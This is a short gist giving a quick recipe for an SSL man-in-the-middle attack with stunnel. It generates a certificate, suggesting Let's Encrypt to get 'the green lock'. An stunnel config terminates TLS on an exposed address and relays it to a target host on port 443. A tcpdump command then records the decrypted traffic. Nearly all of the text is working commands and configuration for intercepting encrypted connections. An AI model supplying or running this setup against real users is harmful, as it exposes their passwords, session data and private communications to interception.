johnjohnsp1/MiTM-SSL.md

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Created February 13, 2018 17:46

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Simple SSL MiMT using stunnel

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MiTM-SSL.md

Simple SSL MiTM

A quick and dirty SSL MiTM using stunnel

Generate a SSL certificate .. or use Let's Encrypt (for the green lock)

openssl req -batch -new -x509 -days 365 -nodes -out mitm.pem -keyout mitm.pem

Run stunnel

stunnel mitm.conf

;mitm.conf
[server]
client = no
cert= ./mitm.pem
accept = <EXPOSEDIP>:443
connect = 127.0.0.1:31337

[client]
client = yes
accept = 127.0.0.1:31337
connect = <TARGET>:443

Capture unencrypted traffic

sudo tcpdump -ilo -s0 -v -w ./mitm.pcap 'port 31337'